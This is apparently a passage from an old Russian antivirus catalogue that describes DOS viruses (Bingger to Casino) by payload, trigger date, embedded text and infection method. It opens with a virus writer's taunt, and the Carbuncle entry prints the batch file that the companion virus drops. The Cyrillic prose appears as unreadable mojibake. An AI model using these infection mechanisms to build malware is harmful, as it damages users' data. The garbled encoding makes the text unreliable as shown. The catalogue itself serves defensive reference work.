Frisk - Pull your head out of your ass, [NuKE] is way ahead of you AV wankers
Johnny - Scan is just too lame to worry about ha ha
Bingger.489
Ñîäåðæèò òåêñò:
THE SMALLEST RUSSIAN VIRUS IS BINGGER THAN ENY OF THE
AVENGERS
Birthday.512
Îïàñíûé íåðåçèäåíòíûé âèðóñ. 31 ÷èñëà â 11 ÷àñîâ óäàëÿåò ñòàðòîâàâøóþ
èíôèöèðîâàííóþ ïðîãðàììó. Ñîäåðæèò òåêñò "Happy Birthday!!".
Bishkek.319
Îïàñíûé íåðåçèäåíòíûé âèðóñ. 31 ÷èñëà óíè÷òîæàåò ñîäåðæèìîå 10 ïåðâûõ
ñåêòîðîâ æåñòêîãî äèñêà. 22 ÷èñëà âûâîäèò òåêñò "Scorpions by Sch(5) in
Bishkek".
Bishkek.559
Ñîäåðæèò òåêñò "Bishkek software *.* My rights reserved 23.08.1994.".
Bishop.2855, 4517
Î÷åíü îïàñíûå çàìåùàþùèå ïðîãðàììíûé êîä ïîëèìîðôíûå âèðóñû. Âûâîäÿò
íà ýêðàí è ñîäåðæàò â ñåáå ñëåäóþùèå òåêñòû:
Bishop.2855 -
STOP HERE!
CULO
We are waiting for..
A mutant BISHOP in this program
21-3-93, milan-PARMA : 0-1.
-BISHOP-
Bishop.4517 -
WHY DEBUGGER?
PARMA CAMPIONE !!!!!!!!
ANOTHER YEAR
A mutant ROOK in this program
- UAH UAH UAH! Non puoi fregare ROOK come fregasti BISHOP! -
- ROOK -
The ROOK virus !!!
Understand?
DECEMBER VERSION
A variant of the DECEMBER VERSION
ÉÍÍÍ»ÄÄÄÂÄÄÄÂÄÄÄÂÄÄÄÂÄÄÄÂÄÄÄÉÍÍÍ»
º R º n ¦ b ¦ q ¦ k ¦ b ¦ n º R º
ÈÍÍͼÄÄĆÄÄĆÄÄĆÄÄĆÄÄĆÄÄÄÈÍÍͼ
¦ p ¦ p ¦ p ¦ p ¦ p ¦ p ¦ p ¦ p ¦
ÃÄÄĆÄÄĆÄÄĆÄÄĆÄÄĆÄÄĆÄÄĆÄÄÄ´
¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦
ÃÄÄĆÄÄĆÄÄĆÄÄĆÄÄĆÄÄĆÄÄĆÄÄÄ´
¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦
ÃÄÄĆÄÄĆÄÄĆÄÄĆÄÄĆÄÄĆÄÄĆÄÄÄ´
¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦
ÃÄÄĆÄÄĆÄÄĆÄÄĆÄÄĆÄÄĆÄÄĆÄÄÄ´
¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦
ÃÄÄĆÄÄĆÄÄĆÄÄĆÄÄĆÄÄĆÄÄĆÄÄÄ´
¦ p ¦ p ¦ p ¦ p ¦ p ¦ p ¦ p ¦ p ¦
ÉÍÍÍ»ÄÄĆÄÄĆÄÄĆÄÄĆÄÄĆÄÄÄÉÍÍÍ»
º R º n ¦ b ¦ q ¦ k ¦ b ¦ n º R º
ÈÍÍͼÄÄÄÁÄÄÄÁÄÄÄÁÄÄÄÁÄÄÄÁÄÄÄÈÍÍͼ
BitAddict.979, 1190, 1459, 1601
BitAddict.979, 1190 - íåîïàñíûå, BitAddict.1459, 1601 - î÷åíü îïàñíûå
ðåçèäåíòíûå âèðóñû. Ðàçìåùàþò ñâîþ ðåçèäåíòíóþ êîïèþ â íåñêîëüêèõ
ñèñòåìíûõ áóôåðàõ. Ïðè ïåðâîì çàïóñêå ñòðåìÿòñÿ çàðàçèòü êîìàíäíûé
ïðîöåññîð, óêàçàííûé ÷åðåç ïåðåìåííóþ COMSPEC. BitAddict.1459, 1601
óíè÷òîæàþò ñîäåðæèìîå ñåêòîðîâ äèñêà D: ïîñëå 256 "ïåðåõîäîâ" âèðóñîâ ñ
îäíîãî êîìïüþòåðà íà äðóãîé. Ñîäåðæàò òåêñòû:
BitAddict.979 - COMSPEC=BIT ADDICT 2.00
BitAddict.1190 - COMSPEC=BIT ADDICT 2.10
BitAddict.1459 - COMSPEC=
BitAddict.1601 - COMSPEC=Bit Addict Version 3
Bitch
Íåîïàñíûé Boot-âèðóñ. Ïûòàåòñÿ çàìåñòèòü ñîáîé âèðóñû Stoned è
Michelangelo, åñëè îáíàðóæèò èõ íà äèñêàõ. Ïðè îøèáêå çàïèñè ñâîåãî
êîäà íà äèñê âûâîäèò íà ýêðàí òåêñò: "þ.Z. ¤F< SVINOLOBOVA SYKA >S0_MBR
(C) 04.1994 by @SOURCE (ËÈÀÏ). Ïî âñåì âîïðîñàì îáðàùàòüñÿ ïî òåë.
264-35-27 ( ïîñëå 22÷. Ëþäà ).".
Bitch.252
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñîäåðæèò òåêñò "< SVINOLOBOVA SYKA >".
Bite
Çàãðóçî÷íûé âèðóñ. Èíîãäà ïðè çàãðóçêå ñèñòåìû âûâîäèò òåêñò
"I'm made in B I T E Soft. !".
BlackJec.231,232,235,236,247,252,267,272,276,281,287,292,301,307,358,363,369,
374,378,427,440,441
Íåîïàñíûå (BlackJec.301, 307 - îïàñíûå) íåðåçèäåíòíûå âèðóñû.
BlackJec.301, 307 â ñåíòÿáðå ïûòàþòñÿ îòôîðìàòèðîâàòü ïåðâóþ äîðîæêó
òåêóùåãî ôëîïïè-äèñêà è âûâîäÿò òåêñò "Sad virus - 24/8/91". Íåêîòîðûå
âèðóñû ñîäåðæàò òåêñòû:
BlackJec.427 - Digital F/X Virus 2.0 - 3/18/92 by Phoney Phreak
BlackJec.440 - Digital F/X Virus - Created on 2/5/92 by Phoney Phreak
BlackJec.441 - XYZ Virus 1.0 - Buddy and Chloe 5/27/89
BlackMonday.1055
Î÷åíü îïàñíûé ðåçèäåíòíûé âèðóñ.  ïîíåäåëüíèê ôîðìàòèðóåò íóëåâóþ
äîðîæêó æåñòêîãî äèñêà. Ñîäåðæèò òåêñò "Black Monday 2/3/90 KV KL MAL".
BlackSun.2372
Íåîïàñíûé ðåçèäåíòíûé çàøèôðîâàííûé âèðóñ. Èíîãäà "òðÿñåò" ýêðàí
ïîñðåäñòâîì èçìåíåíèÿ ñòðî÷íûõ áóêâ íà çàãëàâíûå è íàîáîðîò íà ýêðàíå.
Ñîäåðæèò òåêñòû "CHKLISTDISKINFOSCOPEÅ", "BlackSun v1.0 "Shaker"".
BlackWorm
Î÷åíü îïàñíûé çàãðóçî÷íûé âèðóñ. Íà÷èíàÿ ñ 1995 ãîäà óíè÷òîæàåò
ñîäåðæèìîå ïåðâîãî æåñòêîãî äèñêà. Ñîäåðæèò òåêñò "BLACK WORM".
Blah.3379, 3385
Íåîïàñíûå ôàéëîâî-çàãðóçî÷íûå ñòåëñ-âèðóñû. Çàðàæàþò MBR æåñòêîãî äèñêà
è BAT-ôàéëû. Ïðè ñòàðòå èíôèöèðîâàííîãî BAT-ôàéëà, âèðóñû ñîçäàþò ôàéë
º.com, â êîòîðûé çàïèñûâàþò íåêîòîðûé òåêñò. Ïîñëå ÷åãî âèðóñû îòäàþò
óïðàâëåíèå äàííîìó º.com ôàéëó. Ïåðâûå áàéòû òåêñòà ôàéëà º.com
âîñïðèíèìàþòñÿ ïðîöåññîðîì, êàê àññåìáëåðíûé êîä, ïðîèçâîäÿùèé ïî
îïðåäåëåííîìó çàêîíó,êîíâåðòàöèþ òåêñòîâûõ ñòðîê â âèðóñíûå èíñòðóêöèè.
Äàëåå º.com ôàéë óñòàíàâëèâàåò ñâîþ ðåçèäåíòíóþ êîïèþ â ïàìÿòü,
"ïåðåõâàòûâàåò" INT 13h, 21h è çàðàæàåò MBR "âèí÷åñòåðà". Ïîñëå ÷åãî
ôàéë º.com óäàëÿåòñÿ. Ðåçèäåíòíûå êîïèè âèðóñîâ çàðàæàþò BAT-ôàéëû è
îñóùåñòâëÿþò ñòåëñ-ìåõàíèçì ñîêðûòèÿ âèðóñíîãî êîäà â èíôèöèðîâàííûõ
BAT-ôàéëîâ è MBR. Âèðóñû ñîäåðæàò òåêñò "Blah virus (DA/PS)"
Blava.787
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñîäåðæèò òåêñò "BLAVA 3.0 by RGB".
Blind.549
Îïàñíûé íåðåçèäåíòíûé âèðóñ. Èç-çà îøèáîê ìîæåò ðàçðóøèòü èíôèöèðóåìûå
ôàéëû. Ñîäåðæèò òåêñò "=Blind Guardian 1995=".
Blink.501
Ïîñëå êàæäîãî 4 çàðàæåíèÿ ôàéëà âèðóñ "ìèãàåò" ýêðàíîì.
Bloody
Èíîãäà âûâîäèò íà ýêðàí "Bloody! Jun. 4, 1989".
Bobby.613
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Ïî ïÿòíèöàì âûâîäèò òåêñò:
Ïpèâåò, ÿ - áåçîáèäíûé âèpyñ Bobby Friday.
ß íå ïpè÷èíþ âpåäà âàøåìy êîìïüþòåpy
ß òîëüêî áyäy ãîâîpèòü ïî ïÿòíèöàì, ÷òî
ìîåìy àâòîpy î÷åíü ípàâèòñÿ äåâyøêà ïî èìåíè ÑÂÅÒÀ.
Bomzh.3809
Îïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. "Ïåðåõâàòûâàåò" INT 17h (âûâîä
íà ïðèíòåð) è INT 21h. Ïðè ïå÷àòè íà ïðèíòåð âñòàâëÿåò ïîñëå çàïÿòîé
ìåæäîìåòèå ", áëÿ". Ñîäåðæèò òåêñòû:
Ïðèâåòñòâóþ âñåõ õàêåðîâ, ÷èòàþùèõ ýòîò òåêñò.
Ýòîò âèðóñ - òèïè÷íûé "ñòóäåí÷åñêèé".
Ïðèíîøó âñåì ïîñòðàäàâøèì îò åãî íåêîððåêòíûõ
äåéñòâèé ñâîè èñêðåííèå èçâèíåíèÿ.
Îí áûë íàïèñàí â ïåðèîä ëåòíåé ïðàêòèêè òîëüêî îò ñêóêè.
Áëàãîäàðþ çà ïîìîùü, êîòîðóþ ìíå îêàçàëè:
Èãîðÿ Äàíèëîâà(çà åãî VIRLIST),
Åâãåíèÿ Êàñïåðñêîãî(çà "Êîìïüþòåðíûå âèðóñû â MS-DOS".
Åâãåíèé, íå ïèøèòå áîëüøå òàêèõ êíèã - "÷àéíèêàì" îíè áåñïîëåçíû,
ïðîôè - íàñðàòü, à âîò âèðóñîïèñàòåëè...),
Êàðïîâà Âàäèìà - çà ëèòåðàòóðó,
Èâàíîâà Îëåãà - çà êîìï.
Âñå çàìå÷àíèÿ â ñâîé àäðåñ ïðèìó
÷åðåç FIDONET 2:5033/1.32 ñ ïîìåòêîé "Áîìæó".
Æåëàþ âñåì æèòü ñ÷àñòëèâî!
Ïîêà!
Âàø Áîìæ.
Áîìæ-âèðóñ.
Bones
Î÷åíü îïàñíûé çàãðóçî÷íûé ñòåëñ-âèðóñ. 7 ÷èñëà óíè÷òîæàåò ñîäåðæèìîå
äèñêåòû, ê êîòîðîé ïðîèñõîäèò îáðàùåíèå, è ïåðâîãî æåñòêîãî äèñêà.
BootCom.Light
Íåîïàñíûé ôàéëîâî-çàãðóçî÷íûé âèðóñ. Ïðè ïåðâîì ñòàðòå çàðàæåííîãî COM-
ôàéëà, âèðóñ èíôèöèðóåò MBR æåñòêîãî äèñêà. Ïðè çàãðóçêå ñèñòåìû ñ
òàêîãî äèñêà âèðóñ "ïåðåõâàòûâàåò" INT 1Ch, æäåò âòîðîãî èçìåíåíèÿ INT
21h, ïîñëå ÷åãî "ïåðåõâàòûâàåò" INT 21h. Ñîäåðæèò òåêñò "(c) Light
General.For free use!Kiev.1995".
BootCom.Max
Íåîïàñíûé ôàéëîâî-çàãðóçî÷íûé âèðóñ. Çàðàæàåò MBR "âèí÷åñòåðà" è COM-
ôàéëû ïðè èõ çàïóñêå. Ïåðåõâàòûâàåò INT 13h, 21h. Ñîäåðæèò ñòðîêó
"[Max]".
BootCom.Peanut.445
Îïàñíûé âèðóñ. Çàðàæàåò MBR æåñòêîãî äèñêà è Boot-ñåêòîðà ãèáêèõ
äèñêîâ, à òàêæå COM-ôàéëû ïðè èõ çàïóñêå. Ïðè ñòàðòå èíôèöèðîâàííîãî
COM-ôàéëà èëè ïðè çàãðóçêå ñ çàðàæåííîãî ôëîïïè-äèñêà âèðóñ ïîðàæàåò
MBR "âèí÷åñòåðà". Ïðè çàãðóçêå ñ èíôèöèðîâàííîãî æåñòêîãî äèñêà âèðóñ
ðàçìåùàåò ñâîþ TSR-êîïèþ â âåðõíèõ àäðåñàõ ïàìÿòè è ïåðåõâàòûâàåò INT
13h. Ïîñëå çàãðóçêè ïåðâîé EXE-ïðîãðàììû âèðóñ ïåðåõâàòûâàåò INT 21h.
Ïðè çàðàæåíèè äèñêåò âèðóñ íå ñîõðàíÿåò îðèãèíàëüíûé Boot-ñåêòîð. Ïðè
÷òåíèè ÷åðåç INT 21h çàðàæåííîãî MBR âèðóñ ïîäñòàâëÿåò îðèãèíàëüíûé MBR
(ñòåëñ-âèðóñ).
BootExe.174
Î÷åíü îïàñíûé ôàéëîâî-çàãðóçî÷íûé âèðóñ. Âíåäðÿåò ñâîé êîä â ñåðåäèíó
çàãðóç÷èêà MBR, óñòàíàâëèâàÿ íà ýòîò êîä ñâîþ ïðîãðàììíóþ ññûëêó. Ïðè
çàãðóçêå ñèñòåìû ñ èíôèöèðîâàííîãî äèñêà óñòàíàâëèâàåò ñâîþ ðåçèäåíòíóþ
êîïèþ â òàáëèöó âåêòîðîâ ïðåðûâàíèé, "ïåðåõâàòûâàåò" INT 13h, ïðîâåðÿåò
çàïèñü íà ôëîïïè-äèñêè COM èëè EXE-ôàéëîâ (îïðåäåëÿÿ èõ ïî ïåðâûì
áàéòàì çàãîëîâêà ôàéëà: 0E9h - äëÿ COM è 'MZ' - äëÿ EXE-ôàéëîâ) è
çàïèñûâàåò ñâîé êîä â íà÷àëî äàííûõ ôàéëîâ, íå ñîõðàíÿÿ îðèãèíàëüíûé
ïðîãðàììíûé êîä.
BootExe.443, 444, 451 (1,2), 452
Îïàñíûå âèðóñû. Çàðàæàþò Boot-ñåêòîðà "âèí÷åñòåðà" è ãèáêèõ äèñêîâ, à
òàêæå EXE-ôàéëû, âíåäðÿÿ ñâîé êîä â çàãîëîâîê EXE-ôàéëîâ, ïðåâðàùàÿ
ôàéë èç ôîðìàòà EXE â ôîðìàò COM-ôàéëà. Âèðóñû ïåðåõâàòûâàåò INT 13h è
"ñëåäÿò" çà ÷òåíèåì ñåêòîðîâ. Åñëè ïðî÷èòàííûé ñåêòîð ñîäåðæèò
ñèãíàòóðó "MZ", òî âèðóñû ñ÷èòàþò, ÷òî áûë ñ÷èòàí çàãîëîâîê EXE-ôàéëà.
È åñëè äàííûé çàãîëîâîê ðàâåí 512 áàéòàì, è EXE-ôàéë èìååò äîñòàòî÷íî
ñâîáîäíîãî ìåñòà â òàáëèöå ïåðåìåùàåìûõ ýëåìåíòîâ (relocation table),
òî âèðóñû çàïèñûâàþò â ñâîáîäíîå ìåñòî çàãîëîâêà EXE-ôàéëà ñâîå òåëî è
èçìåíÿþò ñèãíàòóðó "MZ" íà êîðîòêèé JUMP (EBh ??) íà ñâîé êîä. Ïîñëå
÷åãî ïðîèçâîäÿò çàïèñü äàííîãî ñåêòîðà, ñîäåðæàùèé âèðóñ, íà äèñê.
Âèðóñû òàêæå çàðàæàþò Boot-ñåêòîð æåñòêîãî äèñêà, ñ÷èòàÿ, ÷òî îí
ðàñïîëàãàåòñÿ íà ãîëîâêå-1, äîðîæêå-0, ñåêòîðå-1. Ïðè çàðàæåíèè äèñêåò,
îòëè÷íûõ îò 360 Kb, âèðóñû íå ñîõðàíÿþò îðèãèíàëüíûé Boot-ñåêòîð.
BootExe.Dogcher
Îïàñíûé ðåçèäåíòíûé âèðóñ, çàðàæàþùèé MBR ïåðâîãî æåñòêîãî äèñêà è
EXE-ôàéëû. Ïðè çàðàæåíèè EXE-ôàéëîâ âèðóñ çàïèñûâàåò îðèãèíàëüíûé
ñåêòîð, ñîäåðæàùèé çàãîëîâîê EXE-ôàéëà (512 áàéò) â ñåêòîð,
ïðåäøåñòâóþùèé èñõîäíîìó, íå ïðîâåðÿÿ åãî ñîäåðæèìîå.
BootExe.Nutcracker
Îïàñíûé ôàéëîâî-çàãðóçî÷íûé âèðóñ. Øèôðóåò ïåðâûé ñåêòîð ïîäêàòàëîãîâ
(ñì.Nutcracker.AB2.6425).
BootExe.Olga
Îïàñíûé âèðóñ. Çàðàæàåò MBR æåñòêîãî äèñêà è EXE-ôàéëû. 27 äåêàáðÿ
óíè÷òîæàåò ñîäåðæèìîå æåñòêîãî äèñêà. Ñîäåðæèò òåêñò "SGB:Olga++".
BootExe.Platov
Óñòàíàâëèâàåò ñâîþ ðåçèäåíòíóþ êîïèþ ïî àäðåñó 9000:FC00h. Ïðèíàäëåæèò
"ïåðó" Àíäðåÿ Ïëàòîâà.
BootExe.Stalker.310, 320
Îïàñíûå ðåçèäåíòíûå âèðóñû, çàðàæàþùèå MBR "âèí÷åñòåðà" è EXE-ôàéëû.
Ïðè çàïóñêå èíôèöèðîâàííîãî EXE-ôàéëà, âèðóñû çàðàæàþò MBR, íå ñîõðàíÿÿ
îðèãèíàëüíûé çàãðóçî÷íûé ñåêòîð MBR, è "âåøàþò" ñèñòåìó. Ïðè çàãðóçêå
ñèñòåìû ñ èíôèöèðîâàííîãî MBR, âèðóñû óñòàíàâëèâàþò â ïàìÿòü ñâîè
ðåçèäåíòíûå êîïèè è "ïåðåõâàòûâàþò" INT 13h. BootExe.Stalker.320
ñîäåðæèò ñòðîêó "*Stalker*" ñ èíâåðòèðîâàííûìè áèòàìè.
Boroda
Íåîïàñíûé Boot-âèðóñ. 30 îêòÿáðÿ âûâîäèò òåêñò:
ÚÄÄÄÄ I am virus BORODA ÄÄÄĬ
¦Happy birthday to you, ¦
¦Happy birthday to you, ¦
¦Happy birthday Dear BORODA!¦
¦Happy birthday to you. ¦
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
¦(c) BIT Pricol October 1994¦
¦For proposition: 29X-2X-9X¦
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ATTENTION: Your system area is Script. DON^T PANIC!
Now a little play. What is my little name?
For example: BORODENCHIK...(Ring-error)
Ïîñëå ÷åãî æäåò ââîäà ñëîâà "BORODUSHECHKA".
Bowl.737
Íåîïàñíûé íåðåçèäåíòíûé øèôðîâàííûé âèðóñ. Íåðàáîòîñïîñîáåí íà Pentium
PC. Ñîäåðæèò òåêñò:
How DARE YOU try and trace through my code!!!!
FuQn LaMaH!!!
Toilet Bowl Virus by The Methyl-Lated Spirit
This is generation 4 of this virus version 1.1 <2nd release>
Prepare to control your computer as it enters the Toilet Bowl
Brasil
Î÷åíü îïàñíûé çàãðóçî÷íûé âèðóñ. Ìîæåò âûâåñòè òåêñò "Brasil virus!" è
óíè÷òîæèòü ñîäåðæèìîå ñåêòîðîâ æåñòêîãî äèñêà.
Bravo
Îïàñíûé çàãðóçî÷íûé âèðóñ. Ìîæåò óíè÷òîæèòü ñîäåðæèìîå MBR, çàïèñàâ
âìåñòî íåãî ñëó÷àéíûå äàííûå, â íà÷àëå êîòîðûõ áóäåò ïðèñóòñòâîâàòü
ñòðîêà "Bravo".
Breaking.1000
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ.29 íîÿáðÿ âûâîäèò òåêñò "Ylmr computer is
breaking . . ." è "âåøàåò" ñèñòåìó. Èìååò òàêæå òåêñò "Black Hacker's
revenge."
Brownie.688
Íåîïàñíûé âèðóñ. 13 ÷èñëà âûâîäèò òåêñò "brownie for Koliada A.I." è
âîñïðîèçâîäèò íåêèå çâóêè íà äèíàìèêå.
BrPI.511, 555
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. BrPI.555 ïðîèçâîäèò ñêðîëëèíã ýêðàíà íà
íåñêîëüêî ñòðîê ââåðõ äëÿ êàæäîãî 3-ãî ñòàðòóþùåãî èíôèöèðîâàííîãî
ôàéëà. Ñîäåðæàò ñòðîêè:
BrPI.511 - "(c) by BrPI Version 2.0 '92"
BrPI.555 - "by BrPI '92".
Btg.792
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ïðè çàïóñêå íåêîòîðûõ ïðîãðàìì ìîæåò
âûâåñòè òåêñò "Error in EXE file". Ñîäåðæèò ñòðîêó "Btg#".
Bubble.656
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Ñîäåðæèò òåêñòîâóþ ñòðîêó
"-=Bubble Bubble=- This program is SHAREWARE!!!".
Bug.920
Îïàñíûé íåðåçèäåíòíûé âèðóñ. Ïðîèçâîäèò ïîèñê *.EXE ôàéëîâ è ñîçäàåò
äëÿ ýòèõ ôàéëîâ COM-ôàéëû äëèíîé 73 áàéòà, íå ñîäåðæàùèå âèðóñíûé êîä,
à òîëüêî ïðîèçâîäÿùèõ çàïóñê äàííûõ EXE-ôàéëîâ. Òàêæå ïðîèçâîäèò ïîèñê
è çàðàæåíèå ñòàíäàðòíûì îáðàçîì COM-ôàéëîâ. Óäàëÿåò ôàéëû c:\chklist.*.
Ïðîèçâîäèò èçìåíåíèå ñëó÷àéíîãî ñèìâîëà çíàêîãåíåðàòîðà. Ñîäåðæèò òåêñò
"BUG-2.0oÍ".
Bunny (1-3)
Î÷åíü îïàñíûå çàãðóçî÷íûå âèðóñû.
Bupt.1363
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ïîñëå 4096 çàðàæåíèé ôàéëîâ âûâîäèò íà
ýêðàí ñîîáùåíèå:
Hello,welcome to BUPT 9146,BeiJing!
 òåëå âèðóñà òàêæå èìååòñÿ òåêñò "Only for experiment.BUPT".
BuptBoot
Ñîäåðæèò ñòðîêó "Welcome to BUPT 9146,Beijing!".
Burger.382, 560
Î÷åíü îïàñíûå, çàìåùàþùèå ïðîãðàììíûé êîä, âèðóñû. Burger.382 èíîãäà
ïûòàåòñÿ ïåðåèìåíîâàòü ôàéë ñ ðàñøèðåíèåì EXE â ôàéë ñ ðàñøèðåíèåì COM.
Óíè÷òîæàþò èíôîðìàöèþ â 2óõ ñëó÷àéíûõ ñåêòîðàõ äèñêà C:.
Burglar.1150
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ïðè çíà÷åíèè ñåêóíä ñèñòåìíîãî âðåìåíè- 14
âèðóñ âûâîäèò òåêñò "Burglar/H". Íå çàðàæàåò ôàéëû èç ñïèñêà (ïî 2
ñèìâîëà íà èìÿ) "CLHWTBF-WCTK". Ñîäåðæèò òåêñò "AT THE GRAVE OF
GRANDMA...".
Burma.442 (1,2), 666
Ïðîèçâîäÿò âèäåîýôôåêò: âñå ñèìâîëû íà ýêðàíå êðóæàñü, èñ÷åçàþò â
öåíòðå ýêðàíà. Burma.442 (1,2) âûâîäÿò òåêñò "[Tempest - ð]", îíè
ñîäåðæàò ñòðîêó "Rangoon, Burma". Burma.666 âûâîäèò òåêñòû
"SwizzleStyxx!" è "Reading system configuration, please
wait.", ñîäåðæèò òàêæå òåêñò "DarkAvenger".
BW.Roet.1899
Îïàñíûé ðåçèäåíòíûé âèðóñ. 20 äåêàáðÿ óíè÷òîæàåò ñîäåðæèìîå ëîãè÷åñêîãî
äèñêà C: è âûâîäèò òåêñò:
ROETVIRUS_E5IBINFECTION PC DeStruCTion aFTeR 255 bEEpsTry aGAin NexT YEar
ROETJE - THE IMMENSE
ByeBye
2, 6, 10, 14, 18, 26 è 30 ìàÿ âûâîäèò íà ýêðàí òåêñò "Bye bye C&C".
Cannibal.1261, Cannibal.1312
Ðåçèäåíòíûå íåîïàñíûå âèðóñû. Ïåðåõâàòûâàþò INT 10h, INT 28h, INT 2Fh,
INT 4AH. Îòëè÷àþòñÿ îðèãèíàëüíîñòüþ ìåòîäà çàðàæåíèÿ ôàéëîâ, õîòÿ,
äàííàÿ èäåÿ íå íîâà. Ñ ïîìîùüþ INT 10h è INT 28H âèðóñû êîíòðîëèðóþò
PSP òåêóùåé çàäà÷è, íàõîäÿò èìÿ ïðîãðàììû â åå îêðóæåíèè (enviroment),
è ñòàíäàðòíî ïîðàæàþò åå. Ñîçäàþò ôàéë C:\VIRUS.$$$\cannibal.max,
êîòîðûé ñîäåðæèò ñëåäóþùèé òåêñò:
Cannibal.1261:
þþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþ
MAX CANNIBAL vers.1.02
(c)93 PAVLOVO CITY
þþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþ
Cannibal.1312:
þþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþ
MAX CANNIBAL vers.1.04
(c)93 PAVLOVO CITY
þþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþ
Èíîãäà ìîãóò âûâåñòè äàííûå òåêñòû íà ýêðàí.
Carbuncle
Î÷åíü îïàñíûé íåðåçèäåíòíûé âèðóñ-ñïóòíèê. Ïðåäñòàâëÿåò ñîáîé COM- ôàéë
äëèíîé 622 áàéòà. Ïðè çàïóñêå âèðóñà, îí ñîçäàåò â òåêóùåì êàòàëîãå
ôàéë CARBUNCL.COM ñ àòðèáóòîì Hidden (ñêðûòûé). Ïîñëå ýòîãî âèðóñ
ïðåäïðèíèìàåò ïîïûòêó ïîèñêà ôàéëà *.exe. Åñëè ôàéë ñ äàííûì
ðàñøèðåíèåì áóäåò íàéäåí, òî âèðóñ ïåðåèìåíîâûâàåò åãî â ôàéë ñ òåì æå
èìåíåì, íî ñ ðàñøèðåíèåì CRP, à òàêæå ñîçäàåò íîâûé ïàêåòíûé
ôàéë-ñïóòíèê èëè ôàéë-êîìïàíüîí ñ òåì æå èìåíåì è ñ ðàñøèðåíèåì BAT. Â
äàííûé ïàêåòíûé ôàéë âèðóñ çàïèñûâàåò êîìàíäû DOS (äîïóñòèì, ÷òî
ïîðàæåííûé EXE-ôàéë íàçûâàëñÿ EXEFILE):
@ECHO OFF
CARBUNCL
RENAME EXEFILE.CRP EXEFILE.EXE
EXEFILE.EXE
RENAME EXEFILE.EXE EXEFILE.CRP
CARBUNCL
Ò. î., ïðè ïîïûòêå çàïóñêà EXE-ôàéëà áóäåò çàïóùåí BAT-ôàéë, êîòîðûé
ïåðåèìåíóåò CRP-ôàéë â EXE-ôàéë, âûïîëíèò åãî è ïåðåèìåíóåò îáðàòíî â
CRP-ôàéë. Åñëè âî âðåìÿ çàïóñêà âèðóñà (ôàéë CARBUNCL.COM), çíà÷åíèå
ñåêóíä ñèñòåìíîãî òàéìåðà ìåíüøå èëè ðàâíî 16, âèðóñ çàïèñûâàåò ñâîé
êîä â ïåðâûé CRP-ôàéë òåêóùåãî êàòàëîãà, óíè÷òîæàÿ òàêèì îáðàçîì
çàðàæåííûé EXE-ôàéë. Ñîäåðæèò òåêñòîâûå ñòðîêè:
@ECHO OFF
CARBUNCL
RENAME
PC CARBUNCLE: Crypt Newsletter 14
Cartier.1056
Î÷åíü îïàñíûé íåðåçèäåíòíûé âèðóñ. Åñëè â òåêóùåì êàòàëîãå íåò COM-
ôàéëîâ èëè îíè óæå âñå èíôèöèðîâàíû, òî âèðóñ óíè÷òîæàåò 50 ñåêòîðîâ
äèñêà C: è âûâîäèò òåêñò:
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º Don't panic it, I am just a virus named [Cartier]. Nice to meet you ! º
º You are so dirty to get software without any payments ! I don't like it ! º
º So, I destory all of your datas in the hard disk now ! Feel so good ! º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
º I wish you like that ! º What about a drink ? º See you next time ! º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Cascade.1621, 1661 (1,2), 1701 (1,2), 1704, 1706
Íåîïàñíûå ðåçèäåíòíûå øèôðîâàííûå âèðóñû. Âûçûâàþò ýôôåêò "ïàäàþùèõ
áóêâ".
Casino.2330
Î÷åíü îïàñíûé âèðóñ. Ïðè ñòàðòå èíôèöèðîâàííîãî ôàéëà, âèðóñ ïûòàåòñÿ
çàðàçèòü ôàéë C:\COMMAND.COM, ïîñëå ÷åãî ñîçäàåò íà òåêóùåì äèñêå ôàéë
COMMANDx.COM (ãäå x - ýòî ñèìâîë ASCII 255), çàïèñûâàåò â íåãî âèðóñíûé
êîä è çàïóñêàåò åãî. Çàðàæåííûé COMMANDx.COM "ïåðåõâàòûâàåò" INT 21h è
îñòàåòñÿ â ïàìÿòè ðåçèäåíòíî.  ÿíâàðå, àïðåëå è àâãóñòå 15 ÷èñëà âèðóñ
÷èòàåò â ïàìÿòü 80 ïåðâûõ ñåêòîðîâ (FAT) ñëó÷àéíîãî äèñêà, óíè÷òîæàåò
ñîäåðæèìîå ýòèõ ñåêòîðîâ íà äèñêå è ïðåäëàãàåò ïîèãðàòü â êàçèíî:
DISK DESTROYER A SOUVENIR OF MALTA
